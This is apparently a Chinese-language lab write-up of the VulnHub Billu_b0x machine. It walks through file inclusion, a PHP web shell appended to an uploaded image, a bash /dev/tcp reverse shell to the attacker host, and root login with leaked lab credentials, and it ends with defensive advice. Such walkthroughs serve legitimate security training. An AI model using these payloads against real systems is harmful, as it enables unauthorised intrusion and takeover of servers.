VulnHub靶机学习——Billu_b0x实战记录
字数 1469 2025-08-18 11:38:28
Billu_b0x靶机渗透实战教学文档
一、靶机概述
- 难度等级:中级
- 目标:获取root权限
- 环境配置:
- 攻击机:Kali Linux
- 靶机:Billu_b0x
- 网络设置:NAT模式
- 开放服务:
- 22端口(SSH)
- 80端口(HTTP)
二、信息收集阶段
1. 网络扫描
使用nmap扫描靶机IP地址和开放端口:
nmap -sP 192.168.50.0/24
nmap -sV 192.168.50.144
发现靶机IP为192.168.50.144,开放22和80端口。
2. Web目录爆破
使用dirb进行目录爆破:
dirb "http://192.168.50.144/" /usr/share/dirb/wordlists/big.txt
发现以下关键目录/文件:
- add.php (图片上传页面)
- test.php (文件包含漏洞点)
- phpmy (phpMyAdmin目录)
- panel.php (后台管理页面)
- uploaded_images (上传文件目录)
三、漏洞利用过程
1. 文件包含漏洞利用
访问test.php发现需要file参数,尝试直接GET请求失败。
利用方法:
- 使用Burp Suite拦截请求
- 将GET请求改为POST请求
- 添加参数:
file=/etc/passwd
成功读取系统文件,发现用户ica(UID 1000)。
继续利用此方法读取其他关键文件:
- add.php
- in.php
- c.php
- index.php
- show.php
- panel.php
2. 获取数据库凭据
通过文件包含读取c.php发现数据库凭据:
- 用户名:
biLLu - 密码:
hEx_it
3. phpMyAdmin访问
访问/phpmy目录,使用发现的凭据登录。
在phpMyAdmin配置文件中发现root凭据:
- 路径:
/var/www/phpmy/config.inc.php - 用户名:
root - 密码:
roottoor
4. Web登录
使用biLLu:hEx_it凭据登录Web界面,进入panel.php后台。
四、权限提升
1. 文件上传漏洞利用
尝试直接上传PHP文件失败,采用以下方法:
- 上传正常图片
- 使用Burp拦截请求
- 在图片末尾添加PHP代码:
<?php system($_GET['cmd']);?> - 文件保存为:
/uploaded_images/apple233.png
2. 命令执行
通过Burp发送POST请求执行命令:
POST /panel.php?cmd=cat%20/etc/passwd;ls
在请求正文中添加:
load=/uploaded_images/apple233.png&continue=continue
3. 反弹Shell
- Kali上开启监听:
nc -lvnp 6666
- 执行反弹Shell命令(需URL编码):
echo "bash -i >& /dev/tcp/192.168.50.140/6666 0>&1" | bash
4. 提权到root
- 使用发现的root凭据:
su -
密码:roottoor
- 若遇到终端问题,执行:
python -c 'import pty;pty.spawn("/bin/bash")'
替代方法:直接通过SSH登录:
ssh -p22 root@192.168.50.144
密码:roottoor
五、关键知识点总结
- 目录爆破:使用dirb等工具发现隐藏目录
- 文件包含漏洞:
- 测试方法:尝试包含/etc/passwd等系统文件
- 绕过技巧:GET转POST请求
- 代码审计:通过文件包含读取源代码发现敏感信息
- 文件上传绕过:
- 修改文件内容添加恶意代码
- 结合Burp修改请求
- 权限提升路径:
- Web应用漏洞→代码执行→反弹Shell→凭据利用→root权限
六、防御建议
- 禁用不必要的文件包含功能
- 对上传文件进行严格验证(内容而不仅是扩展名)
- 避免在配置文件中存储明文凭据
- 使用最小权限原则运行服务
- 定期审计代码中的安全隐患
七、参考工具
- nmap - 网络扫描
- dirb - 目录爆破
- Burp Suite - 拦截和修改HTTP请求
- netcat - 网络工具,用于反弹Shell
- SSH - 安全远程登录
通过本案例可以学习到从信息收集到最终获取root权限的完整渗透测试流程,特别是文件包含漏洞的利用和权限提升的技巧。